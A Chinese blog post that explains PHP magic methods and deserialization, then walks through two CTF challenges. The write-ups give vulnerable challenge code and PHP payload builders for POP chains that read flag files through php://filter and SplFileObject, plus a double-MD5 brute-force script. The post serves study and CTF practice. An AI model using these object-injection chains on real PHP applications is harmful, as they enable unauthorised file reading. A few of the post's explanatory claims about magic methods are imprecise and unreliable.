反序列化魔术方法

魔术方法

成员属性

image-20240602104647717

变量和成员属性是一个东西

__consrtuct构造方法

在对象实例化时执行的方法

__construct()只会在new一个对象时触发,serialiaze和unserialize都不会触发

image-20240602093459339

__destruct()析构函数

__destruct()函数只会在序列化serialize()反序列化unserialize()和销毁一个对象时触发

image-20240602094520984

__call

当前对象体调用一个不存在的方法时被触发

当前对象->不存在的方法

image-20240602095219566

__get

访问一个对象 不存在的 变量时触发

当前对象->不存在的变量

image-20240602100207521

__set

给对象的不存在的变量赋值时触发

当前对象->不存在的变量=参数值

image-20240602101804729

__isset

用isset()和empty()访问不可访问的属性时触发

image-20240602102825879

__unset销毁函数

销毁一个不可访问的成员属性时被触发

image-20240602104616787

__sleep

序列化serialize()时触发

image-20240602105024474

__wakeup

反序列化unserialize()时被触发

image-20240602105253834

__toString

当前对象被当作字符串处理时 被触发也就是把对象转换成字符串

image-20240602110033534

image-20240602144734670

当作字符串处理:

在实例化对象之后,使用echo将其输出

__invoke

当前对象被当作函数调用时触发

image-20240602150120044

总结

  1. __construct(),类的构造函数
  2. __destruct(),类的析构函数
  3. __call(),在对象中调用一个不可访问方法时调用
  4. __callStatic(),用静态方式中调用一个不可访问方法时调用
  5. __get(),获得一个类的成员变量时调用
  6. __set(),设置一个类的成员变量时调用
  7. __isset(),当对不可访问属性调用isset()或empty()时调用
  8. __unset(),当对不可访问属性调用unset()时被调用。
  9. __sleep(),执行serialize()时,先会调用这个函数
  10. __wakeup(),执行unserialize()时,先会调用这个函数
  11. __toString(),类被当成字符串时的回应方法
  12. __invoke(),用调用函数的方式去调用一个对象时的回应方法
  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。
  14. __clone(),当对象复制完成时调用
  15. __autoload(),尝试加载未定义的类
  16. __debugInfo(),打印所需调试信息

反序列化

序列化serialize():将对象转换成字符串,

反序列化unserialize():将转化为字符串的对象转化回来

反序列化时 使用unserialize()函数会触发魔术方法,只要能控制unserialize()入口,就能实现注入

先找能触发serialize或者unserialize的魔术方法

去实例化对象 然后去触发这个方法
比如有unserialize先找__wakeup,有serialize找__sleep方法
或者找__destruct方法用unserialize(或serialize)触发

image-20240602161902930

序列化

O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

image-20240602163953081

反序列化

image-20240602164043155

[MRCTF2020]Ezpop

源码

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

pop链:

unserialize()函数,触发了Show类的wakeup魔术方法,正则匹配掉了一堆东西,source属性被当作字符串处理,触发toString方法,看到了str属性,发现可以触发Test类的get方法 让他访问不存在的变量str,此时会将p当作函数调用从而触发了Modifier的invoke方法,在调用append函数,include包含文件flag.php

看到unserialize函数和wakeup方法(phpinfo测试是否触发成功)

image-20240602170600808

image-20240602205935111

$this->source = "index.php";将对象当作字符串处理

image-20240602170717831

image-20240602210139906

Test类实例化对象访问不存在的变量str 触发get

image-20240602210522380

此时被当作函数调用 触发了invoke

image-20240602210733548

image-20240602211018794

调用append函数,实现文件包含

用file://伪协议绕过

构造payload

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

//触发toString方法
$show=new Show;
$show1=new Show;
$show->source=$show1;

//触发get方法
$test=new Test;
$show1->str=$test;

//触发invoke
$m=new Modifier;
$test->p=$m;
echo urlencode(serialize($show));

image-20240602212448512

image-20240602212507038

base64解码

image-20240602212545062

这里序列化的是show得到的flag

一开始序列化show1得到的payload是错的 传参一直没有回显才发现

[GHCTF 2024 新生赛]ezzz_unserialize

源码

<?php
/**
 * @Author: hey
 * @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
 * Have fun and Good luck!!!
 */
error_reporting(0);
class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){
        $this -> apple = $a;
    }
    function __destruct()
    {
        echo $this -> apple;
    }
    public function __toString()
    {
        $new = $this -> strawberry;
        return $new();
    }

}

class NoNo {
    private $peach;

    public function __construct($string) {
        $this -> peach = $string;
    }

    public function __get($name) {
        $var = $this -> $name;
        $var[$name]();
    }
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;
    public function __call($arg1,$arg2){
        $function = $this -> orange;
        return $function();
    }
    public function __get($arg1)
    {
        $this -> cherry -> ll2('b2');
    }

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

    public function __toString()
    {
        $long = @$this -> banana -> add();
        return $long;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> mangosteen -> tt2)
        {
            echo "Sakura was the best!!!";
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

class UesugiErii{
    protected $coconut;

    protected function addMe() {
        return "My time with Sakura was my happiest time".$this -> coconut;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

    public function __set($name, $value)
    {
        $this -> $name = $value;
        if ($this -> Kiwifruit = "Sakura"){
            strtolower($this-> Carambola);
        }
    }
}

if(isset($_POST['GHCTF'])) {
    unserialize($_POST['GHCTF']);
} else {
    highlight_file(__FILE__);
}

看到 unserialize函数, __destruct方法,__toString方法

image-20240611100520575

此时对象被当作函数调用 触发 __invoke方法

image-20240611100633583

image-20240611100753213

先是注意到了 $hey 访问不存在变量,会触发 __get方法,看了所有的get,猜测是E类的

大是想要绕过invoke的md5有些麻烦

一开始以为是要双md5之后的加密值为‘123’,后来看了网上师傅们的w,才知道只要是双md5加密之后的值 前三位是‘123’就行,后面跟着任意的md5加密值就可以。

贴一下师傅的我脚本

import hashlib
import itertools
import string

charset = string.digits + string.ascii_letters
temp = itertools.permutations(charset, 3)
# 爆破字符
ss = "123"
for i in temp:
    value = "".join(i)
    hash1 = hashlib.md5(value.encode()).hexdigest()
    result = hashlib.md5(hash1.encode()).hexdigest()
    if result[:3] == ss and result[3].isdigit() != True:
        print(value)
        print(result)
D:\Pycharm\project4\pythonProject\.venv\ven\Scripts\python.exe D:\Pycharm\project4\pythonProject\hello\hi.py 
1xE
123f91c054f21245ea0130c353cd268d
2tL
123efb30143bdfb734dbbca564d3b6c1
3lD
123bd5b684441a96f13ca9a84f27d85f
4Cs
123c4401f5e69ce636d84ba65e212d25
5nb
123b7f57292d091179acf104fb06fc46
8UF
123c73c352eb60ee0490d18cca679540
aW8
123ac960c0aeec921c78090612c97792
dY1
123be54b97522800b12460c054fbaaa2
esW
123d421d8e8cf3c6b510faafac4d6955
f0w
123b5b3e178d13229daa030ec761faeb
fpr
123a27f6b4365c6f2bf233ddbcf123c2
i2x
123b0c2ad09dcb72b1c741484302d617
jA4
123f275f3f51e568bb6b8e64aa915a96
l4c
123d2bea9174185c248e00ae5e3964ae
msj
123b8afe511deaebe3b6a09c46e79c5c
ouK
123f96770a22200a03d8390c9e5c5c99
v94
123ddcb3300a8c491c0b69437f30ea9c
x3Q
123e7c842bda99116a60ba21b2c8b8a4
za4
123be3a1e076a7733fd30d38b871c6aa
Bp7
123d12764c8b04ef2ef4e93cb99a2736
BsC
123a11415281d8580d04114c06b035d5
Cit
123b2893b87693cbf2a28e1154581930
F1J
123b443033f1f334cafc6dcdd18b906a
GJN
123e54b9d1c075c47c70ad37046adeac
Iyf
123cbc83ec3ea74e9ea169ff73a9f519
OgK
123fca0fb7f20f37ca89ffd0017676ca
V0E
123cef7793b532a38a5d9f07757045fe
X02
123caf12b42087246001ea5c15ee6369
XGd
123eb3bda6e069dd94ab06685a295ca9

进程已结束,退出代码为 0

array_walk函数:对数组中的每个元素应用用户自定义函数

FilesystemIterator文件迭代器:

可实现,在不了解容器内部原理的情况下遍历容器(如,遍历一下容器的根目录)

在使用文件迭代器,构造pop链

<?php
class Sakura{
    public $apple;
    public $strawberry;
}

class E{
    public $e;
}
class Heraclqs{
    public $grape;
    public $blueberry;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->FilesystemIterator = "/";
echo serialize($s);

image-20240611113214568

替换路径

<?php
class Sakura{
    public $apple;
    public $strawberry;
}

class E{
    public $e;
}
class Heraclqs{
    public $grape;
    public $blueberry;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->SplFileobject = "/1_ffffffflllllagggggg";
echo serialize($s);

image-20240611144954073

posted @ 2024-06-02 16:52  Yolololololo  阅读(58)  评论(0编辑  收藏  举报